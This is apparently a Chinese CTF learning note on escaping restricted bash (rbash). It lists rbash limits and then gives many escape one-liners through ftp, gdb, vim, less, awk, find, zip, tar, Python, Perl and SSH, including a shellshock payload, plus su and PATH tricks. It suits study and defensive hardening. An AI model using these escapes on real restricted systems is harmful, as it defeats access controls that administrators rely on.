Rbash逃逸
Rbash逃逸
在打NSSCTF4th的时候Misc碰到了一道神必题目
出了题解发现是不认识的知识点,Rbash逃逸,说到逃逸我人可就不困了,学习一下
Rbash
rbash全称 Restricted BASH ,即受限情况下的bash命令执行
- 不能使用 cd 命令来改变当前目录。
- 不能使用 set 命令来改变环境变量或 shell 选项。
- 不能使用 unset 命令来取消环境变量或 shell 函数。
- 不能使用任何包含 / 符号的命令,除非它们在 PATH 环境变量中指定了。
- 不能重定向输入或输出,例如使用 >, <, >>, << 等符号。建议用echo ’ '|tee file
- 只能执行 PATH 环境变量中指定的命令,而且 PATH 环境变量通常只包含一些基本的命令,例如 ls, cat, echo 等。
echo $PATH ###一般很多命令基础执行不了的时候,都是路径异常,查看该值可验证
export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin ####修复
逃逸姿势
由于这类题目做的很少,讲不出来怎么判断这题是不是考察rbash逃逸,只能记录下网上零零散散的博客里记录的东西
/绕过
尝试运行/bin/bash
来获得正常的shell
但是由于太简单了一般都会被ban/修改bash的绝对路径
cp 绕过
尝试cp 复制bash到当前的目录下
cp /bin/bash .
./bash
只要在当前目录下的执行不受限就可以用,这是它最大的优点,并且还不需要知道bash的绝对路径,只要可以复制就没有问题
注:cp能用一般/就能用…
使用其他非原生命令来绕过
例如:ftp, gdb, more, man, less, vim, rvim
可以用/bin/bash的地方不妨尝试一下’sh’,由于没有/所以可能有意想不到的效果
ftp
ftp
!/bin/bash
gdb
gdb
!/bin/bash
more
more /etc/passwd
!/bin/bash
man
man man
!/bin/bash
less
less --help
!/bin/bash
vim
vim -Z -c ':!/bin/bash'
大多数时候这个被限制了
还是老老实实
vim test
:!/bin/bash
git
git help status
!/bin/bash
scp
scp -S /path/yourscript x y:
awk
awk 'BEGIN {system("/bin/sh")}'
或
awk 'BEGIN {system("/bin/bash")}'
find
find / -name SomeName -exec /bin/sh \;
find / -name SomeName -exec /bin/bash \;
ed-editor
ed
!'/bin/sh'
zip
zip /tmp/test.zip /tmp/test -T --unzip-command="sh -c /bin/bash"
tar
tar cf /dev/null filename --checkpoint=1 --checkpoint-action=exec=/bin/bash
pico
pico -s /bin/sh
我没成功哈,弹出来的是nano
vim通杀
在任何可以查看文件内容的界面尝试使用v
看看能不能弹出vim编辑器
接下来
:set shell=/bin/bash
:shell
vi 命令是一个经典的文本编辑器。其中,:set 命令表示设置一个选项的值,:shell 命令表示执行一个 shell。默认情况下,vi 会使用 RBASH 作为 shell,但是用户可以通过 :set shell=/bin/bash 来修改 shell 的值为 /bin/bash。因此,如果用户使用 :shell 命令,就可以运行 bash,从而绕过 RBASH 的限制。
编程语言绕过
还可以直接写程序弹shell
python
python -c 'import os; os.system("/bin/sh")'
php
php -a then exec("sh -i");
perl
perl -e 'exec "/bin/sh";'
ua
os.execute('/bin/sh')
ruby
exec "/bin/sh"
expect
spwan sh
sh
SSH登录逃逸
ssh username@IP -t "/bin/sh" or "/bin/bash"
ssh username@IP -t "bash --noprofile"
ssh username@IP -t "() { :; }; /bin/bash" ###shellshock
ssh username@IP "export TERM=xterm;python -c 'import pty;pty.spawn(\"/bin/bash\")'
切换用户逃逸
这里的原理涉及到su 和 su- 的区别:
- su命令,只会更改当前用户,而不会更改当前的用户环境,比如你从oracle 用户su到root账户中,当前路径仍是你刚才的路径,环境变量仍是oracle用户的
- su- 命令,则在更改当前用户信息的同时还会更改用户环境,但是假如你从oracle 用户su -到root账户,你会发现你的当前路径已经变为/root/,环境变量也变了
su -l user
su - user
su --login user
还可以边切换边打shell
su -c "python -c 'import pty;pty.spawn(\"/bin/bash\")'" user
篡改PATH /Shell环境变量
export -p//查看环境变量
如果有可以写入的文件就尝试写入到/bin/bash里面